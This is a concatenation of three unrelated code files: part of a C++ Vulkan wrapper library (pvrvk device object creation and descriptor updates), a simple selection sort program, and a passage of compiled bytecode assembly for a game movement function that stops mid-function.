return createInfo;
}
} // namespace pvrvk
// Object creation
namespace pvrvk {
namespace impl {
std::vector<const char*> filterExtensions(const std::vector<VkExtensionProperties>& vec, const char* const* filters, uint32_t numfilters)
{
std::vector<const char*> retval;
for (uint32_t i = 0; i < vec.size(); ++i)
{
for (uint32_t j = 0; j < numfilters; ++j)
{
if (!strcmp(vec[i].extensionName, filters[j]))
{
retval.emplace_back(filters[j]);
break;
}
}
}
return retval;
}
std::vector<const char*> filterLayers(const std::vector<VkLayerProperties>& vec, const char* const* filters, uint32_t numfilters)
{
std::vector<const char*> retval;
for (uint32_t i = 0; i < vec.size(); ++i)
{
for (uint32_t j = 0; j < numfilters; ++j)
{
if (!strcmp(vec[i].layerName, filters[j]))
{
retval.emplace_back(filters[j]);
}
}
}
return retval;
}
pvrvk::GraphicsPipeline Device_::createGraphicsPipeline(const GraphicsPipelineCreateInfo& createInfo, const PipelineCache& pipelineCache)
{
GraphicsPipelinePopulate pipelineFactory;
VkPipeline vkPipeline;
if (!pipelineFactory.init(createInfo))
{
return GraphicsPipeline();
}
vkThrowIfFailed(getVkBindings().vkCreateGraphicsPipelines(
getVkHandle(), pipelineCache ? pipelineCache->getVkHandle() : VK_NULL_HANDLE, 1, &pipelineFactory.getVkCreateInfo(), nullptr, &vkPipeline),
"Create GraphicsPipeline Failed.");
Device device = shared_from_this();
return GraphicsPipeline_::constructShared(device, vkPipeline, createInfo);
}
void Device_::createGraphicsPipelines(const GraphicsPipelineCreateInfo* createInfos, uint32_t numCreateInfos, const PipelineCache& pipelineCache, GraphicsPipeline* outPipelines)
{
ArrayOrVector<GraphicsPipelinePopulate, 4> pipelineFactories(numCreateInfos);
ArrayOrVector<VkGraphicsPipelineCreateInfo, 4> vkCreateInfos(numCreateInfos);
ArrayOrVector<VkPipeline, 4> vkPipelines(numCreateInfos);
for (uint32_t i = 0; i < numCreateInfos; ++i)
{
pipelineFactories[i].init(createInfos[i]);
vkCreateInfos[i] = pipelineFactories[i].getVkCreateInfo();
}
vkThrowIfFailed(getVkBindings().vkCreateGraphicsPipelines(
getVkHandle(), pipelineCache ? pipelineCache->getVkHandle() : VK_NULL_HANDLE, numCreateInfos, vkCreateInfos.get(), nullptr, vkPipelines.get()),
"Create GraphicsPipeline Failed");
Device device = shared_from_this();
// create the pipeline wrapper
for (uint32_t i = 0; i < numCreateInfos; ++i)
{
outPipelines[i] = GraphicsPipeline_::constructShared(device, vkPipelines[i], createInfos[i]);
}
}
ComputePipeline Device_::createComputePipeline(const ComputePipelineCreateInfo& createInfo, const PipelineCache& pipelineCache)
{
ComputePipelinePopulate pipelineFactory;
VkPipeline vkPipeline;
pipelineFactory.init(createInfo);
vkThrowIfFailed(
getVkBindings().vkCreateComputePipelines(getVkHandle(), pipelineCache ? pipelineCache->getVkHandle() : VK_NULL_HANDLE, 1, &pipelineFactory.createInfo, nullptr, &vkPipeline),
"Create ComputePipeline Failed.");
Device device = shared_from_this();
return ComputePipeline_::constructShared(device, vkPipeline, createInfo);
}
void Device_::createComputePipelines(const ComputePipelineCreateInfo* createInfos, uint32_t numCreateInfos, const PipelineCache& pipelineCache, ComputePipeline* outPipelines)
{
std::vector<ComputePipelinePopulate> pipelineFactories(numCreateInfos);
std::vector<VkComputePipelineCreateInfo> vkCreateInfos(numCreateInfos);
std::vector<VkPipeline> vkPipelines(numCreateInfos, VK_NULL_HANDLE);
for (uint32_t i = 0; i < numCreateInfos; ++i)
{
pipelineFactories[i].init(createInfos[i]);
vkCreateInfos[i] = pipelineFactories[i].createInfo;
}
vkThrowIfFailed(getVkBindings().vkCreateComputePipelines(getVkHandle(), pipelineCache ? pipelineCache->getVkHandle() : VK_NULL_HANDLE,
static_cast<uint32_t>(vkCreateInfos.size()), vkCreateInfos.data(), nullptr, vkPipelines.data()),
"Create ComputePipelines Failed");
Device device = shared_from_this();
// create the pipeline wrapper
for (uint32_t i = 0; i < numCreateInfos; ++i)
{
outPipelines[i] = ComputePipeline_::constructShared(device, vkPipelines[i], createInfos[i]);
}
}
pvrvk::Image Device_::createImage(const ImageCreateInfo& createInfo)
{
Device device = shared_from_this();
return Image_::constructShared(device, createInfo);
}
void Device_::updateDescriptorSets(const WriteDescriptorSet* writeDescSets, uint32_t numWriteDescSets, const CopyDescriptorSet* copyDescSets, uint32_t numCopyDescSets)
{
// WRITE DESCRIPTORSET
std::vector<VkWriteDescriptorSet> vkWriteDescSets(numWriteDescSets);
// Count number of image, buffer and texel buffer view needed
uint32_t numImageInfos = 0, numBufferInfos = 0, numTexelBufferView = 0;
for (uint32_t i = 0; i < numWriteDescSets; ++i)
{
if ((writeDescSets[i].getDescriptorType() >= DescriptorType::e_SAMPLER && writeDescSets[i].getDescriptorType() <= DescriptorType::e_STORAGE_IMAGE) ||
writeDescSets[i].getDescriptorType() == DescriptorType::e_INPUT_ATTACHMENT)
{
#ifdef DEBUG
if (writeDescSets[i].getDescriptorType() == DescriptorType::e_SAMPLER)
{
// Validate the Sampler bindings
std::for_each(writeDescSets[i]._infos.begin(), writeDescSets[i]._infos.end(), [](const WriteDescriptorSet::DescriptorInfos& infos) {
if (infos.isValid())
{
assert(infos.imageInfo.sampler && "Sampler Must be valid");
}
});
}
else if (writeDescSets[i].getDescriptorType() == DescriptorType::e_COMBINED_IMAGE_SAMPLER)
{
// Validate the ImageView and Sampler bindings
std::for_each(writeDescSets[i]._infos.begin(), writeDescSets[i]._infos.end(), [](const WriteDescriptorSet::DescriptorInfos& infos) {
if (infos.isValid())
{
assert(infos.imageInfo.imageView && "ImageView Must be valid");
assert(infos.imageInfo.sampler && "Sampler Must be valid");
}
});
}
else
{
// Validate the ImageView bindings
std::for_each(writeDescSets[i]._infos.begin(), writeDescSets[i]._infos.end(), [](const WriteDescriptorSet::DescriptorInfos& infos) {
if (infos.isValid())
{
assert(infos.imageInfo.imageView && "ImageView Must be valid");
}
});
}
#endif
numImageInfos += writeDescSets[i].getNumDescriptors();
}
else if (writeDescSets[i].getDescriptorType() >= DescriptorType::e_UNIFORM_BUFFER && writeDescSets[i].getDescriptorType() <= DescriptorType::e_STORAGE_BUFFER_DYNAMIC)
{
#ifdef DEBUG
// Validate the Buffer bindings
std::for_each(writeDescSets[i]._infos.begin(), writeDescSets[i]._infos.end(), [](const WriteDescriptorSet::DescriptorInfos& infos) {
if (infos.isValid())
{
assert(infos.bufferInfo.buffer && "Buffer Must be valid");
}
});
#endif
numBufferInfos += writeDescSets[i].getNumDescriptors();
}
else if (writeDescSets[i].getDescriptorType() == DescriptorType::e_UNIFORM_TEXEL_BUFFER ||
writeDescSets[i].getDescriptorType() <= DescriptorType::e_STORAGE_TEXEL_BUFFER) // Texel buffer
{
#ifdef DEBUG
// Validate the BufferView bindings
std::for_each(writeDescSets[i]._infos.begin(), writeDescSets[i]._infos.end(), [](const WriteDescriptorSet::DescriptorInfos& infos) {
if (infos.isValid())
{
assert(infos.texelBuffer->getBuffer() && "Buffer Must be valid");
}
});
#endif
numTexelBufferView += writeDescSets[i].getNumDescriptors();
}
else
{
assert(false && "Unsupported Descriptor type");
}
}
// now allocate
std::vector<VkDescriptorBufferInfo> bufferInfoVk(numBufferInfos);
std::vector<VkDescriptorImageInfo> imageInfoVk(numImageInfos);
std::vector<VkBufferView> texelBufferVk(numTexelBufferView);
uint32_t vkImageInfoOffset = 0;
uint32_t vkBufferInfoOffset = 0;
// now process
for (uint32_t i = 0; i < numWriteDescSets; ++i)
{
VkWriteDescriptorSet& vkWriteDescSet = vkWriteDescSets[i];
const WriteDescriptorSet& writeDescSet = writeDescSets[i];
memset(&vkWriteDescSet, 0, sizeof(vkWriteDescSet));
vkWriteDescSet.descriptorType = static_cast<VkDescriptorType>(writeDescSet.getDescriptorType());
vkWriteDescSet.sType = static_cast<VkStructureType>(StructureType::e_WRITE_DESCRIPTOR_SET);
vkWriteDescSet.dstArrayElement = writeDescSet.getDestArrayElement();
vkWriteDescSet.dstBinding = writeDescSet.getDestBinding();
vkWriteDescSet.dstSet = writeDescSet.getDescriptorSet()->getVkHandle();
writeDescSet.updateKeepAliveIntoDestinationDescriptorSet();
// Do the buffer info
if (writeDescSet._infoType == WriteDescriptorSet::InfoType::BufferInfo)
{
vkWriteDescSet.pBufferInfo = bufferInfoVk.data() + vkBufferInfoOffset;
std::transform(writeDescSet._infos.begin(), writeDescSet._infos.end(), bufferInfoVk.begin() + vkBufferInfoOffset,
[&](const WriteDescriptorSet::DescriptorInfos& writeDescSet) -> VkDescriptorBufferInfo {
return VkDescriptorBufferInfo{ writeDescSet.bufferInfo.buffer->getVkHandle(), writeDescSet.bufferInfo.offset, writeDescSet.bufferInfo.range };
});
vkWriteDescSet.descriptorCount = writeDescSet._infos.size();
vkBufferInfoOffset += writeDescSet._infos.size();
}
else if (writeDescSet._infoType == WriteDescriptorSet::InfoType::ImageInfo)
{
vkWriteDescSet.pImageInfo = imageInfoVk.data() + vkImageInfoOffset;
std::transform(writeDescSet._infos.begin(), writeDescSet._infos.end(), imageInfoVk.begin() + vkImageInfoOffset,
[&](const WriteDescriptorSet::DescriptorInfos& writeDescSet) -> VkDescriptorImageInfo {
return VkDescriptorImageInfo{ (writeDescSet.imageInfo.sampler ? writeDescSet.imageInfo.sampler->getVkHandle() : VK_NULL_HANDLE),
(writeDescSet.imageInfo.imageView ? writeDescSet.imageInfo.imageView->getVkHandle() : VK_NULL_HANDLE),
static_cast<VkImageLayout>(writeDescSet.imageInfo.imageLayout) };
});
vkWriteDescSet.descriptorCount = writeDescSet._infos.size();
vkImageInfoOffset += writeDescSet._infos.size();
}
}
// COPY DESCRIPTOR SET
std::vector<VkCopyDescriptorSet> vkCopyDescriptorSets(numCopyDescSets);
std::transform(copyDescSets, copyDescSets + numCopyDescSets, vkCopyDescriptorSets.begin(), [&](const CopyDescriptorSet& copyDescSet) {
return VkCopyDescriptorSet{ static_cast<VkStructureType>(StructureType::e_COPY_DESCRIPTOR_SET), nullptr, copyDescSet.srcSet->getVkHandle(), copyDescSet.srcBinding,
copyDescSet.srcArrayElement, copyDescSet.dstSet->getVkHandle(), copyDescSet.dstBinding, copyDescSet.dstArrayElement, copyDescSet.descriptorCount };
});
getVkBindings().vkUpdateDescriptorSets(
getVkHandle(), static_cast<uint32_t>(vkWriteDescSets.size()), vkWriteDescSets.data(), static_cast<uint32_t>(vkCopyDescriptorSets.size()), vkCopyDescriptorSets.data());
}
ImageView Device_::createImageView(const ImageViewCreateInfo& createInfo)
{
Device device = shared_from_this();
return ImageView_::constructShared(device, createInfo);
}
Framebuffer Device_::createFramebuffer(const FramebufferCreateInfo& createInfo)
{
Device device = shared_from_this();
return Framebuffer_::constructShared(device, createInfo);
}
Fence Device_::createFence(const FenceCreateInfo& createInfo)
{
Device device = shared_from_this();
return Fence_::constructShared(device, createInfo);
}
Event Device_::createEvent(const EventCreateInfo& createInfo)
{
Device device = shared_from_this();
return Event_::constructShared(device, createInfo);
}
Semaphore Device_::createSemaphore(const SemaphoreCreateInfo& createInfo)
{
Device device = shared_from_this();
return Semaphore_::constructShared(device, createInfo);
}
Buffer Device_::createBuffer(const BufferCreateInfo& createInfo)
{
Device device = shared_from_this();
return Buffer_::constructShared(device, createInfo);
}
DeviceMemory Device_::allocateMemory(const MemoryAllocationInfo& allocationInfo)
{
assert(allocationInfo.getMemoryTypeIndex() != uint32_t(-1) && allocationInfo.getAllocationSize() > 0u && "Invalid MemoryAllocationInfo");
const MemoryPropertyFlags memFlags = getPhysicalDevice()->getMemoryProperties().getMemoryTypes()[allocationInfo.getMemoryTypeIndex()].getPropertyFlags();
Device device = shared_from_this();
return DeviceMemory_::constructShared(device, allocationInfo, memFlags);
}
ShaderModule Device_::createShaderModule(const ShaderModuleCreateInfo& createInfo)
{
Device device = shared_from_this();
return ShaderModule_::constructShared(device, createInfo);
}
Sampler Device_::createSampler(const SamplerCreateInfo& createInfo)
{
Device device = shared_from_this();
return Sampler_::constructShared(device, createInfo);
}
RenderPass Device_::createRenderPass(const RenderPassCreateInfo& createInfo)
{
Device device = shared_from_this();
return RenderPass_::constructShared(device, createInfo);
}
BufferView Device_::createBufferView(const BufferViewCreateInfo& createInfo)
{
Device device = shared_from_this();
return BufferView_::constructShared(device, createInfo);
}
DescriptorPool Device_::createDescriptorPool(const DescriptorPoolCreateInfo& createInfo)
{
Device device = shared_from_this();
return DescriptorPool_::constructShared(device, createInfo);
}
CommandPool Device_::createCommandPool(const CommandPoolCreateInfo& createInfo)
{
Device device = shared_from_this();
return CommandPool_::constructShared(device, createInfo);
}
PipelineLayout Device_::createPipelineLayout(const PipelineLayoutCreateInfo& createInfo)
{
Device device = shared_from_this();
return PipelineLayout_::constructShared(device, createInfo);
}
bool Device_::waitForFences(uint32_t numFences, const Fence* const fences, const bool waitAll, const uint64_t timeout)
{
VkFence vkFenceArray[10];
std::vector<VkFence> vkFenceVec(0);
VkFence* vkFences = vkFenceArray;
if (numFences > sizeof(vkFenceArray) / sizeof(vkFenceArray[0]))
{
vkFenceVec.resize(numFences);
vkFences = vkFenceVec.data();
}
for (uint32_t i = 0; i < numFences; i++)
{
vkFences[i] = fences[i]->getVkHandle();
}
Result res;
vkThrowIfError(res = static_cast<pvrvk::Result>(getVkBindings().vkWaitForFences(getVkHandle(), numFences, vkFences, waitAll, timeout)), "WaitForFences failed");
if (res == Result::e_SUCCESS)
{
return true;
}
assert(res == Result::e_TIMEOUT && "WaitForFences returned neither success nor timeout, yet did not throw!");
return false;
}
void Device_::resetFences(uint32_t numFences, const Fence* const fences)
{
VkFence vkFenceArray[10];
std::vector<VkFence> vkFenceVec(0);
VkFence* vkFences = vkFenceArray;
if (numFences > sizeof(vkFenceArray) / sizeof(vkFenceArray[0]))
{
vkFenceVec.resize(numFences);
vkFences = vkFenceVec.data();
}
for (uint32_t i = 0; i < numFences; i++)
{
vkFences[i] = fences[i]->getVkHandle();
}
vkThrowIfFailed(getVkBindings().vkResetFences(getVkHandle(), numFences, vkFences), "Reset fences failed");
}
pvrvk::DescriptorSetLayout Device_::createDescriptorSetLayout(const DescriptorSetLayoutCreateInfo& createInfo)
{
Device device = shared_from_this();
return DescriptorSetLayout_::constructShared(device, createInfo);
}
PipelineCache Device_::createPipelineCache(const PipelineCacheCreateInfo& createInfo)
{
Device device = shared_from_this();
return PipelineCache_::constructShared(device, createInfo);
}
void Device_::mergePipelineCache(const PipelineCache* srcPipeCaches, uint32_t numSrcPipeCaches, PipelineCache destPipeCache)
{
std::vector<VkPipelineCache> vkSrcPipeCaches(numSrcPipeCaches);
std::transform(srcPipeCaches, srcPipeCaches + numSrcPipeCaches, vkSrcPipeCaches.begin(), [&](const PipelineCache& pipelineCache) { return pipelineCache->getVkHandle(); });
vkThrowIfFailed(getVkBindings().vkMergePipelineCaches(getVkHandle(), destPipeCache->getVkHandle(), numSrcPipeCaches, vkSrcPipeCaches.data()), "Failed to merge Pipeline Caches");
}
Swapchain Device_::createSwapchain(const SwapchainCreateInfo& createInfo, const Surface& surface)
{
Device device = shared_from_this();
return Swapchain_::constructShared(device, surface, createInfo);
}
QueryPool Device_::createQueryPool(const QueryPoolCreateInfo& createInfo)
{
Device device = shared_from_this();
return QueryPool_::constructShared(device, createInfo);
}
void Device_::waitIdle()
{
getVkBindings().vkDeviceWaitIdle(getVkHandle());
}
// CAUTION - We will be abusing queueFamilyProperties[...].numQueues as a counter for queues remaining.
struct QueueFamilyCreateInfo
{
uint32_t queueFamilyId;
uint32_t queueId;
bool supportPresentation;
explicit QueueFamilyCreateInfo(uint32_t queueFamilyId = -1, uint32_t queueId = -1, bool supportPresentation = 0)
: queueFamilyId(queueFamilyId), queueId(queueId), supportPresentation(supportPresentation)
{}
};
void Device_::retrieveQueues()
{
// Retrieve device queues
const std::vector<QueueFamilyProperties>& queueFamProps = getPhysicalDevice()->getQueueFamilyProperties();
uint32_t queueFamilyIndex;
uint32_t queueIndex;
float queuePriority;
for (uint32_t i = 0; i < _createInfo.getNumDeviceQueueCreateInfos(); ++i)
{
const DeviceQueueCreateInfo& queueCreateInfo = _createInfo.getDeviceQueueCreateInfo(i);
queueFamilyIndex = queueCreateInfo.getQueueFamilyIndex();
_queueFamilies.emplace_back(QueueFamily());
_queueFamilies.back().queueFamily = queueFamilyIndex;
_queueFamilies.back().queues.resize(queueCreateInfo.getNumQueues());
VkQueue vkQueue;
Device device = shared_from_this();
for (queueIndex = 0; queueIndex < queueCreateInfo.getNumQueues(); ++queueIndex)
{
queuePriority = queueCreateInfo.getQueuePriority(queueIndex);
getVkBindings().vkGetDeviceQueue(getVkHandle(), queueFamilyIndex, queueIndex, &vkQueue);
_queueFamilies.back().queues[queueIndex] = Queue_::constructShared(device, vkQueue, queueFamProps[queueFamilyIndex].getQueueFlags(), queueFamilyIndex, queuePriority);
}
}
}
Device_::Device_(make_shared_enabler, PhysicalDevice& physicalDevice, const DeviceCreateInfo& createInfo) : PVRVkPhysicalDeviceObjectBase(physicalDevice)
{
_createInfo = createInfo;
assert(getPhysicalDevice()->getQueueFamilyProperties().size() >= static_cast<size_t>(1) && "A Vulkan device must support at least 1 queue family.");
ArrayOrVector<VkDeviceQueueCreateInfo, 4> queueCreateInfos(_createInfo.getNumDeviceQueueCreateInfos());
for (uint32_t i = 0; i < _createInfo.getNumDeviceQueueCreateInfos(); ++i)
{
const DeviceQueueCreateInfo& queueCreateInfo = _createInfo.getDeviceQueueCreateInfo(i);
VkDeviceQueueCreateInfo queueCreateInfoVk = {};
queueCreateInfoVk.sType = VK_STRUCTURE_TYPE_DEVICE_QUEUE_CREATE_INFO;
queueCreateInfoVk.queueFamilyIndex = queueCreateInfo.getQueueFamilyIndex();
queueCreateInfoVk.queueCount = queueCreateInfo.getNumQueues();
queueCreateInfoVk.pQueuePriorities = queueCreateInfo.getQueuePriorities().data();
queueCreateInfos[i] = queueCreateInfoVk;
}
VkDeviceCreateInfo deviceCreateInfo = {};
deviceCreateInfo.sType = static_cast<VkStructureType>(StructureType::e_DEVICE_CREATE_INFO);
deviceCreateInfo.flags = static_cast<VkDeviceCreateFlags>(_createInfo.getFlags());
deviceCreateInfo.queueCreateInfoCount = static_cast<uint32_t>(_createInfo.getNumDeviceQueueCreateInfos());
deviceCreateInfo.pQueueCreateInfos = queueCreateInfos.get();
deviceCreateInfo.pEnabledFeatures = &_createInfo.getEnabledFeatures()->get();
// Extensions
std::vector<const char*> enabledExtensions;
if (_createInfo.getExtensionList().getNumExtensions())
{
for (uint32_t i = 0; i < _createInfo.getExtensionList().getNumExtensions(); ++i)
{
enabledExtensions.emplace_back(_createInfo.getExtensionList().getExtension(i).getName().c_str());
}
deviceCreateInfo.enabledExtensionCount = static_cast<uint32_t>(enabledExtensions.size());
deviceCreateInfo.ppEnabledExtensionNames = enabledExtensions.data();
}
vkThrowIfFailed(getPhysicalDevice()->getInstance()->getVkBindings().vkCreateDevice(getPhysicalDevice()->getVkHandle(), &deviceCreateInfo, nullptr, &_vkHandle),
"Vulkan Device Creation failed");
initVkDeviceBindings(getVkHandle(), &_vkBindings, getPhysicalDevice()->getInstance()->getVkBindings().vkGetDeviceProcAddr);
// setup the extension table which can be used to cheaply determine support for extensions
_extensionTable.setEnabledExtensions(enabledExtensions);
if (getEnabledExtensionTable().extTransformFeedbackEnabled)
{
// use VK_KHR_get_physical_device_properties2 if the extension is supported
if (getPhysicalDevice()->getInstance()->getEnabledExtensionTable().khrGetPhysicalDeviceProperties2Enabled)
{
{
VkPhysicalDeviceTransformFeedbackFeaturesEXT physicalDeviceTransformFeedbackFeaturesEXT = {};
VkPhysicalDeviceFeatures2KHR deviceFeatures = {};
deviceFeatures.sType = static_cast<VkStructureType>(StructureType::e_PHYSICAL_DEVICE_FEATURES_2_KHR);
deviceFeatures.pNext = &physicalDeviceTransformFeedbackFeaturesEXT;
getPhysicalDevice()->getInstance()->getVkBindings().vkGetPhysicalDeviceFeatures2KHR(getPhysicalDevice()->getVkHandle(), &deviceFeatures);
// Bypass the VkBaseInStructure part of the returned properties
uint32_t offset = sizeof(VkBaseInStructure);
memcpy(&_transformFeedbackFeatures, &physicalDeviceTransformFeedbackFeaturesEXT + offset, sizeof(physicalDeviceTransformFeedbackFeaturesEXT) - offset);
}
{
VkPhysicalDeviceTransformFeedbackPropertiesEXT physicalDeviceTransformFeedbackPropertiesEXT = {};
VkPhysicalDeviceProperties2KHR deviceProperties = {};
deviceProperties.sType = static_cast<VkStructureType>(StructureType::e_PHYSICAL_DEVICE_PROPERTIES_2_KHR);
deviceProperties.pNext = &physicalDeviceTransformFeedbackPropertiesEXT;
getPhysicalDevice()->getInstance()->getVkBindings().vkGetPhysicalDeviceProperties2(getPhysicalDevice()->getVkHandle(), &deviceProperties);
// Bypass the VkBaseInStructure part of the returned properties
uint32_t offset = sizeof(VkBaseInStructure);
memcpy(&_transformFeedbackProperties, &physicalDeviceTransformFeedbackPropertiesEXT + offset, sizeof(physicalDeviceTransformFeedbackPropertiesEXT) - offset);
}
}
}
}
} // namespace impl
} // namespace pvrvk
//!\endcond
|
/*
Algorithm:Selection Sort
Time:O(n²)
Space:O(1)
Author:Selvaraj Kuppusamy, github/selvaraj-kuppusamy
*/
#include<iostream>
using namespace std;
void swap(int &a,int &b)
{
int temp;
temp=a;
a=b;
b=temp;
}
void display(int *array,int size)
{
for(int i=0;i<size;i++)
{
cout<<array[i]<<" ";
}
cout<<endl;
}
void SelectionSort(int *array,int size)
{
int i,j,imin;
for(i=0;i<size-1;i++)
{
imin=i;
for(j=i+1;j<size;j++)
if(array[j]<array[imin])
{
imin=j;
}
swap(array[i],array[imin]);
}
}
int main()
{
int n;
cin >>n;
int arr[n];
for(int i=0;i<n;i++)
{
cin >> arr[i];
}
SelectionSort(arr,n);
display(arr,n);
}
|
export PM_SlideMove
code
proc PM_SlideMove 316 28
ADDRLP4 208
CNSTI4 4
ASGNI4
ADDRLP4 212
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 32
ADDP4
INDIRB
ASGNB 12
ADDRFP4 0
INDIRI4
CNSTI4 0
EQI4 $43
ADDRLP4 224
ADDRGP4 pm
INDIRP4
ASGNP4
ADDRLP4 116
ADDRLP4 224
INDIRP4
INDIRP4
CNSTI4 32
ADDP4
INDIRB
ASGNB 12
ADDRLP4 116+8
ADDRLP4 116+8
INDIRF4
ADDRLP4 224
INDIRP4
INDIRP4
CNSTI4 48
ADDP4
INDIRI4
CVIF4 4
ADDRGP4 pml+36
INDIRF4
MULF4
SUBF4
ASGNF4
ADDRLP4 228
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 40
ADDP4
ASGNP4
ADDRLP4 228
INDIRP4
CNSTF4 1056964608
ADDRLP4 228
INDIRP4
INDIRF4
ADDRLP4 116+8
INDIRF4
ADDF4
MULF4
ASGNF4
ADDRLP4 212+8
ADDRLP4 116+8
INDIRF4
ASGNF4
ADDRGP4 pml+48
INDIRI4
CNSTI4 0
EQI4 $50
ADDRLP4 232
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 32
ADDP4
ASGNP4
ADDRLP4 232
INDIRP4
ARGP4
ADDRGP4 pml+52+24
ARGP4
ADDRLP4 232
INDIRP4
ARGP4
CNSTF4 1065361605
ARGF4
ADDRGP4 PM_ClipVelocity
CALLV
pop
LABELV $50
LABELV $43
ADDRLP4 188
ADDRGP4 pml+36
INDIRF4
ASGNF4
ADDRGP4 pml+48
INDIRI4
CNSTI4 0
EQI4 $56
ADDRLP4 96
CNSTI4 1
ASGNI4
ADDRLP4 4
ADDRGP4 pml+52+24
INDIRB
ASGNB 12
ADDRGP4 $57
JUMPV
LABELV $56
ADDRLP4 96
CNSTI4 0
ASGNI4
LABELV $57
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 32
ADDP4
ARGP4
CNSTI4 12
ADDRLP4 96
INDIRI4
MULI4
ADDRLP4 4
ADDP4
ARGP4
ADDRGP4 VectorNormalize2
CALLF4
pop
ADDRLP4 96
ADDRLP4 96
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
ADDRLP4 204
CNSTI4 0
ASGNI4
ADDRGP4 $64
JUMPV
LABELV $61
ADDRLP4 224
ADDRGP4 pm
INDIRP4
ASGNP4
ADDRLP4 228
ADDRLP4 224
INDIRP4
INDIRP4
ASGNP4
ADDRLP4 192
ADDRLP4 228
INDIRP4
CNSTI4 20
ADDP4
INDIRF4
ADDRLP4 228
INDIRP4
CNSTI4 32
ADDP4
INDIRF4
ADDRLP4 188
INDIRF4
MULF4
ADDF4
ASGNF4
ADDRLP4 236
ADDRLP4 224
INDIRP4
INDIRP4
ASGNP4
ADDRLP4 192+4
ADDRLP4 236
INDIRP4
CNSTI4 24
ADDP4
INDIRF4
ADDRLP4 236
INDIRP4
CNSTI4 36
ADDP4
INDIRF4
ADDRLP4 188
INDIRF4
MULF4
ADDF4
ASGNF4
ADDRLP4 240
ADDRGP4 pm
INDIRP4
INDIRP4
ASGNP4
ADDRLP4 192+8
ADDRLP4 240
INDIRP4
CNSTI4 28
ADDP4
INDIRF4
ADDRLP4 240
INDIRP4
CNSTI4 40
ADDP4
INDIRF4
ADDRLP4 188
INDIRF4
MULF4
ADDF4
ASGNF4
ADDRLP4 128
ARGP4
ADDRLP4 244
ADDRGP4 pm
INDIRP4
ASGNP4
ADDRLP4 248
ADDRLP4 244
INDIRP4
INDIRP4
ASGNP4
ADDRLP4 248
INDIRP4
CNSTI4 20
ADDP4
ARGP4
ADDRLP4 244
INDIRP4
CNSTI4 180
ADDP4
ARGP4
ADDRLP4 244
INDIRP4
CNSTI4 192
ADDP4
ARGP4
ADDRLP4 192
ARGP4
ADDRLP4 248
INDIRP4
CNSTI4 140
ADDP4
INDIRI4
ARGI4
ADDRLP4 244
INDIRP4
CNSTI4 28
ADDP4
INDIRI4
ARGI4
ADDRLP4 244
INDIRP4
CNSTI4 224
ADDP4
INDIRP4
CALLV
pop
ADDRLP4 128
INDIRI4
CNSTI4 0
EQI4 $67
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 40
ADDP4
CNSTF4 0
ASGNF4
CNSTI4 1
RETI4
ADDRGP4 $42
JUMPV
LABELV $67
ADDRLP4 128+8
INDIRF4
CNSTF4 0
LEF4 $69
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 20
ADDP4
ADDRLP4 128+12
INDIRB
ASGNB 12
LABELV $69
ADDRLP4 128+8
INDIRF4
CNSTF4 1065353216
NEF4 $73
ADDRGP4 $63
JUMPV
LABELV $73
ADDRLP4 128+52
INDIRI4
ARGI4
ADDRGP4 PM_AddTouchEnt
CALLV
pop
ADDRLP4 188
ADDRLP4 188
INDIRF4
ADDRLP4 188
INDIRF4
ADDRLP4 128+8
INDIRF4
MULF4
SUBF4
ASGNF4
ADDRLP4 96
INDIRI4
CNSTI4 5
LTI4 $78
ADDRLP4 256
ADDRGP4 pm
INDIRP4
INDIRP4
ASGNP4
ADDRLP4 260
CNSTF4 0
ASGNF4
ADDRLP4 256
INDIRP4
CNSTI4 40
ADDP4
ADDRLP4 260
INDIRF4
ASGNF4
ADDRLP4 256
INDIRP4
CNSTI4 36
ADDP4
ADDRLP4 260
INDIRF4
ASGNF4
ADDRLP4 256
INDIRP4
CNSTI4 32
ADDP4
ADDRLP4 260
INDIRF4
ASGNF4
CNSTI4 1
RETI4
ADDRGP4 $42
JUMPV
LABELV $78
ADDRLP4 80
CNSTI4 0
ASGNI4
ADDRGP4 $83
JUMPV
LABELV $80
ADDRLP4 256
CNSTI4 12
ADDRLP4 80
INDIRI4
MULI4
ASGNI4
ADDRLP4 128+24
INDIRF4
ADDRLP4 256
INDIRI4
ADDRLP4 4
ADDP4
INDIRF4
MULF4
ADDRLP4 128+24+4
INDIRF4
ADDRLP4 256
INDIRI4
ADDRLP4 4+4
ADDP4
INDIRF4
MULF4
ADDF4
ADDRLP4 128+24+8
INDIRF4
ADDRLP4 256
INDIRI4
ADDRLP4 4+8
ADDP4
INDIRF4
MULF4
ADDF4
CNSTF4 1065185444
LEF4 $84
ADDRLP4 260
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 32
ADDP4
ASGNP4
ADDRLP4 260
INDIRP4
ADDRLP4 128+24
INDIRF4
ADDRLP4 260
INDIRP4
INDIRF4
ADDF4
ASGNF4
ADDRLP4 264
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 36
ADDP4
ASGNP4
ADDRLP4 264
INDIRP4
ADDRLP4 128+24+4
INDIRF4
ADDRLP4 264
INDIRP4
INDIRF4
ADDF4
ASGNF4
ADDRLP4 268
ADDRGP4 pm
INDIRP4
INDIRP4
CNSTI4 40
ADDP4
ASGNP4
ADDRLP4 268
INDIRP4
ADDRLP4 128+24+8
INDIRF4
ADDRLP4 268
INDIRP4
INDIRF4
ADDF4
ASGNF4
ADDRGP4 $82
JUMPV
LABELV $84
LABELV $81
ADDRLP4 80
ADDRLP4 80
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $83
ADDRLP4 80
INDIRI4
ADDRLP4 96
INDIRI4
LTI4 $80
LABELV $82
ADDRLP4 80
INDIRI4
ADDRLP4 96
INDIRI4
GEI4 $98
ADDRGP4 $62
JUMPV
LABELV $98
CNSTI4 12
ADDRLP4 96
INDIRI4
MULI4
ADDRLP4 4
ADDP4
ADDRLP4 128+24
INDIRB
ASGNB 12
ADDRLP4 96
ADDRLP4 96
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
ADDRLP4 80
CNSTI4 0
ASGNI4
ADDRGP4 $104
JUMPV
LABELV $101
ADDRLP4 256
ADDRGP4 pm
INDIRP4
INDIRP4
ASGNP4
ADDRLP4 260
CNSTI4 12
ADDRLP4 80
INDIRI4
MULI4
ASGNI4
ADDRLP4 184
ADDRLP4 256
